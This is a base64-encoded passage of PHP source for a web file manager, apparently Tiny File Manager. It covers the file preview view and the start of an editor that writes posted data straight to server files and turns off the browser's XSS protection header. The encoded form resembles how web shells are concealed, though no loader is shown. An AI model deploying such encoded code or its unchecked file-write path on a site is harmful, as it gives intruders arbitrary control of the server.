NlOwogICAgJGlzX3ZpZGVvID0gZmFsc2U7CiAgICAkaXNfdGV4dCA9IGZhbHNlOwogICAgJGlzX29ubGluZVZpZXdlciA9IGZhbHNlOwoKICAgICR2aWV3X3RpdGxlID0gJ0ZpbGUnOwogICAgJGZpbGVuYW1lcyA9IGZhbHNlOyAvLyBmb3IgemlwCiAgICAkY29udGVudCA9ICcnOyAvLyBmb3IgdGV4dAogICAgJG9ubGluZV92aWV3ZXIgPSBzdHJ0b2xvd2VyKEZNX0RPQ19WSUVXRVIpOwoKICAgIGlmICgkb25saW5lX3ZpZXdlciAmJiAkb25saW5lX3ZpZXdlciAhPT0gJ2ZhbHNlJyAmJiBpbl9hcnJheSgkZXh0LCBmbV9nZXRfb25saW5lVmlld2VyX2V4dHMoKSkpIHsKICAgICAgICAkaXNfb25saW5lVmlld2VyID0gdHJ1ZTsKICAgIH0gZWxzZWlmICgkZXh0ID09ICd6aXAnIHx8ICRleHQgPT0gJ3RhcicpIHsKICAgICAgICAkaXNfemlwID0gdHJ1ZTsKICAgICAgICAkdmlld190aXRsZSA9ICdBcmNoaXZlJzsKICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppcF9pbmZvKCRmaWxlX3BhdGgsICRleHQpOwogICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9pbWFnZV9leHRzKCkpKSB7CiAgICAgICAgJGlzX2ltYWdlID0gdHJ1ZTsKICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7CiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X2F1ZGlvX2V4dHMoKSkpIHsKICAgICAgICAkaXNfYXVkaW8gPSB0cnVlOwogICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJzsKICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdmlkZW9fZXh0cygpKSkgewogICAgICAgICRpc192aWRlbyA9IHRydWU7CiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nOwogICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF90ZXh0X2V4dHMoKSkgfHwgc3Vic3RyKCRtaW1lX3R5cGUsIDAsIDQpID09ICd0ZXh0JyB8fCBpbl9hcnJheSgkbWltZV90eXBlLCBmbV9nZXRfdGV4dF9taW1lcygpKSkgewogICAgICAgICRpc190ZXh0ID0gdHJ1ZTsKICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOwogICAgfQoKPz4KICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgPGRpdiBjbGFzcz0iY29sLTEyIj4KICAgICAgICAgICAgPHVsIGNsYXNzPSJsaXN0LWdyb3VwIHctNTAgbXktMyIgZGF0YS1icy10aGVtZT0iPD9waHAgZWNobyBGTV9USEVNRTsgPz4iPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0gYWN0aXZlIiBhcmlhLWN1cnJlbnQ9InRydWUiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJHZpZXdfdGl0bGUpID8+Ojwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZSkpID8+PC9saT4KICAgICAgICAgICAgICAgIDw/cGhwICRkaXNwbGF5X3BhdGggPSBmbV9nZXRfZGlzcGxheV9wYXRoKCRmaWxlX3BhdGgpOyA/PgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0iPjxzdHJvbmc+PD9waHAgZWNobyAkZGlzcGxheV9wYXRoWydsYWJlbCddOyA/Pjo8L3N0cm9uZz4gPD9waHAgZWNobyAkZGlzcGxheV9wYXRoWydwYXRoJ107ID8+PC9saT4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEYXRlIE1vZGlmaWVkJykgPz46PC9zdHJvbmc+IDw/cGhwIGVjaG8gZGF0ZShGTV9EQVRFVElNRV9GT1JNQVQsIGZpbGVtdGltZSgkZmlsZV9wYXRoKSk7ID8+PC9saT4KICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdGaWxlIHNpemUnKSA/Pjo8L3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/ICIkZmlsZXNpemVfcmF3IGJ5dGVzIiA6ICRmaWxlc2l6ZTsgPz48L2xpPgogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0iPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ01JTUUtdHlwZScpID8+Ojwvc3Ryb25nPiA8P3BocCBlY2hvICRtaW1lX3R5cGUgPz48L2xpPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIC8vIFpJUCBpbmZvCiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX2ZpbGVzID0gMDsKICAgICAgICAgICAgICAgICAgICAkdG90YWxfY29tcCA9IDA7CiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVuYW1lcyBhcyAkZm4pIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkZm5bJ2ZvbGRlciddKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKzsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfY29tcCArPSAkZm5bJ2NvbXByZXNzZWRfc2l6ZSddOwogICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48P3BocCBlY2hvIGxuZygnRmlsZXMgaW4gYXJjaGl2ZScpID8+OiA8P3BocCBlY2hvICR0b3RhbF9maWxlcyA/PjwvbGk+CiAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0iPjw/cGhwIGVjaG8gbG5nKCdUb3RhbCBzaXplJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF91bmNvbXApID8+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+IDw/cGhwIGVjaG8gbG5nKCdTaXplIGluIGFyY2hpdmUnKSA/PjogPD9waHAgZWNobyBmbV9nZXRfZmlsZXNpemUoJHRvdGFsX2NvbXApID8+PC9saT4KICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtZ3JvdXAtaXRlbSI+PD9waHAgZWNobyBsbmcoJ0NvbXByZXNzaW9uJykgPz46IDw/cGhwIGVjaG8gcm91bmQoKCR0b3RhbF9jb21wIC8gbWF4KCR0b3RhbF91bmNvbXAsIDEpKSAqIDEwMCkgPz4lPC9saT4KICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAvLyBJbWFnZSBpbmZvCiAgICAgICAgICAgICAgICBpZiAoJGlzX2ltYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgJGltYWdlX3NpemUgPSBnZXRpbWFnZXNpemUoJGZpbGVfcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPSJsaXN0LWdyb3VwLWl0ZW0iPjxzdHJvbmc+JyAuIGxuZygnSW1hZ2Ugc2l6ZScpIC4gJzo8L3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPC9saT4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gVGV4dCBpbmZvCiAgICAgICAgICAgICAgICBpZiAoJGlzX3RleHQpIHsKICAgICAgICAgICAgICAgICAgICAkaXNfdXRmOCA9IGZtX2lzX3V0ZjgoJGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkaXNfdXRmOCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBpY29udihGTV9JQ09OVl9JTlBVVF9FTkMsICdVVEYtOC8vSUdOT1JFJywgJGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxsaSBjbGFzcz0ibGlzdC1ncm91cC1pdGVtIj48c3Ryb25nPicgLiBsbmcoJ0NoYXJzZXQnKSAuICc6PC9zdHJvbmc+ICcgLiAoJGlzX3V0ZjggPyAndXRmLTgnIDogJzggYml0JykgLiAnPC9saT4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnRuLWdyb3VwIGJ0bi1ncm91cC1zbSBmbGV4LXdyYXAiIHJvbGU9Imdyb3VwIj4KICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgY2xhc3M9ImQtaW5saW5lIG1iLTAgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGFjdGlvbj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2RsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1saW5rIGJ0bi1zbSB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMCI+PGkgY2xhc3M9ImZhIGZhLWNsb3VkLWRvd25sb2FkIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpID8+PC9idXR0b24+ICZuYnNwOwogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+IiBvbmNsaWNrPSJjb25maXJtRGlhbG9nKGV2ZW50LCAxMjA5LCAnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpIC4gJyAnIC4gbG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PicsIHRoaXMuaHJlZik7Ij4gPGkgY2xhc3M9ImZhIGZhLXRyYXNoIj48L2k+IERlbGV0ZTwvYT4KICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPGEgY2xhc3M9ImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlX3VybCkgPz4iIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtZXh0ZXJuYWwtbGluay1zcXVhcmUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ09wZW4nKSA/PjwvYT48L2I+CiAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgLy8gWklQIGFjdGlvbnMKICAgICAgICAgICAgICAgIGlmICghRk1fUkVBRE9OTFkgJiYgKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgJHppcF9uYW1lID0gcGF0aGluZm8oJGZpbGVfcGF0aCwgUEFUSElORk9fRklMRU5BTUUpOwogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGNsYXNzPSJkLWlubGluZSBidG4gYnRuLW91dGxpbmUtcHJpbWFyeSBtYi0wIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ1bnppcCIgdmFsdWU9Ijw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tbGluayB0ZXh0LWRlY29yYXRpb24tbm9uZSBmdy1ib2xkIHAtMCBib3JkZXItMCIgc3R5bGU9ImZvbnQtc2l6ZTogMTRweDsiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ1VuWmlwJykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBjbGFzcz0iZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idW56aXAiIHZhbHVlPSI8P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSk7ID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9mb2xkZXIiIHZhbHVlPSIxIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWxpbmsgdGV4dC1kZWNvcmF0aW9uLW5vbmUgZnctYm9sZCBwLTAiIHN0eWxlPSJmb250LXNpemU6IDE0cHg7IiB0aXRsZT0iVW5aaXAgdG8gPD9waHAgZWNobyBmbV9lbmMoJHppcF9uYW1lKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXBUb0ZvbGRlcicpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkaXNfdGV4dCAmJiAhRk1fUkVBRE9OTFkpIHsKICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiIgY2xhc3M9ImVkaXQtZmlsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYSBmYS1wZW5jaWwtc3F1YXJlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdFZGl0JykgPz4KICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiZlbnY9YWNlIgogICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iZWRpdC1maWxlIj48aSBjbGFzcz0iZmEgZmEtcGVuY2lsLXNxdWFyZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQWR2YW5jZWRFZGl0b3InKSA/PgogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJmdy1ib2xkIGJ0biBidG4tb3V0bGluZS1wcmltYXJ5IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFjayI+PC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PC9hPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IG10LTMiPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgIGlmICgkaXNfb25saW5lVmlld2VyKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRvbmxpbmVfdmlld2VyID09ICdnb29nbGUnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxpZnJhbWUgc3JjPSJodHRwczovL2RvY3MuZ29vZ2xlLmNvbS92aWV3ZXI/ZW1iZWRkZWQ9dHJ1ZSZobD1lbiZ1cmw9JyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgZnJhbWVib3JkZXI9Im5vIiBzdHlsZT0id2lkdGg6MTAwJTttaW4taGVpZ2h0OjQ2MHB4Ij48L2lmcmFtZT4nOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoJG9ubGluZV92aWV3ZXIgPT0gJ21pY3Jvc29mdCcpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlmcmFtZSBzcmM9Imh0dHBzOi8vdmlldy5vZmZpY2VhcHBzLmxpdmUuY29tL29wL2VtYmVkLmFzcHg/c3JjPScgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICciIGZyYW1lYm9yZGVyPSJubyIgc3R5bGU9IndpZHRoOjEwMCU7bWluLWhlaWdodDo0NjBweCI+PC9pZnJhbWU+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ppcCkgewogICAgICAgICAgICAgICAgICAgIC8vIFpJUCBjb250ZW50CiAgICAgICAgICAgICAgICAgICAgaWYgKCRmaWxlbmFtZXMgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxjb2RlIGNsYXNzPSJtYXhoZWlnaHQiPic7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZuWydmb2xkZXInXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicgLiBmbV9lbmMoJGZuWyduYW1lJ10pIC4gJzwvYj48YnI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkZm5bJ25hbWUnXSAuICcgKCcgLiBmbV9nZXRfZmlsZXNpemUoJGZuWydmaWxlc2l6ZSddKSAuICcpPGJyPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9jb2RlPic7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHA+JyAuIGxuZygnRXJyb3Igd2hpbGUgZmV0Y2hpbmcgYXJjaGl2ZSBpbmZvJykgLiAnPC9wPic7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc19pbWFnZSkgewogICAgICAgICAgICAgICAgICAgIC8vIEltYWdlIGNvbnRlbnQKICAgICAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJGV4dCwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxwPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgaWQ9InByZXZpZXctaW1nLXpvb21DaGVjayI+PGxhYmVsIGZvcj0icHJldmlldy1pbWctem9vbUNoZWNrIj48aW1nIHNyYz0iJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgYWx0PSJpbWFnZSIgY2xhc3M9InByZXZpZXctaW1nIj48L2xhYmVsPjwvcD4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkaXNfYXVkaW8pIHsKICAgICAgICAgICAgICAgICAgICAvLyBBdWRpbyBjb250ZW50CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPHA+PGF1ZGlvIHNyYz0iJyAuIGZtX2VuYygkZmlsZV91cmwpIC4gJyIgY29udHJvbHMgcHJlbG9hZD0ibWV0YWRhdGEiPjwvYXVkaW8+PC9wPic7CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGlzX3ZpZGVvKSB7CiAgICAgICAgICAgICAgICAgICAgLy8gVmlkZW8gY29udGVudAogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9InByZXZpZXctdmlkZW8iPjx2aWRlbyBzcmM9IicgLiBmbV9lbmMoJGZpbGVfdXJsKSAuICciIHdpZHRoPSI2NDAiIGhlaWdodD0iMzYwIiBjb250cm9scyBwcmVsb2FkPSJtZXRhZGF0YSI+PC92aWRlbz48L2Rpdj4nOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRpc190ZXh0KSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKEZNX1VTRV9ISUdITElHSFRKUykgewogICAgICAgICAgICAgICAgICAgICAgICAvLyBoaWdobGlnaHQKICAgICAgICAgICAgICAgICAgICAgICAgJGhsanNfY2xhc3NlcyA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3NodG1sJyA9PiAneG1sJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdodGFjY2VzcycgPT4gJ2FwYWNoZScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAncGh0bWwnID0+ICdwaHAnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2xvY2snID0+ICdqc29uJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdmcnID0+ICd4bWwnLAogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9IGlzc2V0KCRobGpzX2NsYXNzZXNbJGV4dF0pID8gJ2xhbmctJyAuICRobGpzX2NsYXNzZXNbJGV4dF0gOiAnbGFuZy0nIC4gJGV4dDsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRleHQpIHx8IGluX2FycmF5KHN0cnRvbG93ZXIoJGZpbGUpLCBmbV9nZXRfdGV4dF9uYW1lcygpKSB8fCBwcmVnX21hdGNoKCcjXC5taW5cLihjc3N8anMpJCNpJywgJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgPSAnPHByZSBjbGFzcz0id2l0aC1obGpzIj48Y29kZSBjbGFzcz0iJyAuICRobGpzX2NsYXNzIC4gJyI+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPC9jb2RlPjwvcHJlPic7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgLy8gcGhwIGhpZ2hsaWdodAogICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGhpZ2hsaWdodF9zdHJpbmcoJGNvbnRlbnQsIHRydWUpOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gJzxwcmU+JyAuIGZtX2VuYygkY29udGVudCkgLiAnPC9wcmU+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAkY29udGVudDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cjw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKLy8gZmlsZSBlZGl0b3IKaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICFGTV9SRUFET05MWSkgewogICAgJGZpbGUgPSAkX0dFVFsnZWRpdCddOwogICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlLCBmYWxzZSk7CiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRmaWxlKTsKICAgIGlmICgkZmlsZSA9PSAnJyB8fCAhaXNfZmlsZSgkcGF0aCAuICcvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnLycgLiAkZmlsZSkpIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7CiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIOwogICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgIH0KICAgICRlZGl0RmlsZSA9ICcgOiA8aT48Yj4nIC4gJGZpbGUgLiAnPC9iPjwvaT4nOwogICAgaGVhZGVyKCdYLVhTUy1Qcm90ZWN0aW9uOjAnKTsKICAgIGZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgogICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgLy8gY3VycmVudCBwYXRoCgogICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZmlsZSk7CiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsKCiAgICAvLyBub3JtYWwgZWRpdGVyCiAgICAkaXNOb3JtYWxFZGl0b3IgPSB0cnVlOwogICAgaWYgKGlzc2V0KCRfR0VUWydlbnYnXSkpIHsKICAgICAgICBpZiAoJF9HRVRbJ2VudiddID09ICJhY2UiKSB7CiAgICAgICAgICAgICRpc05vcm1hbEVkaXRvciA9IGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBTYXZlIEZpbGUKICAgIGlmIChpc3NldCgkX1BPU1RbJ3NhdmVkYXRhJ10pKSB7CiAgICAgICAgJHdyaXRlZGF0YSA9ICRfUE9TVFsnc2F2ZWRhdGEnXTsKICAgICAgICAkZmQgPSBmb3BlbigkZmlsZV9wYXRoLCAidyIpOwogICAgICAgIEBmd3JpdGUoJGZkLCAkd3JpdGVkYXRhKTsKICAgICAgICBmY2xvc2UoJGZkKTsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBTYXZlZCBTdWNjZXNzZnVsbHknKSk7CiAgICB9CgogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKSk7CiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTsKICAgICRmaWxlc2l6ZSA9IGZpbGVzaXplKCRmaWxlX3BhdGg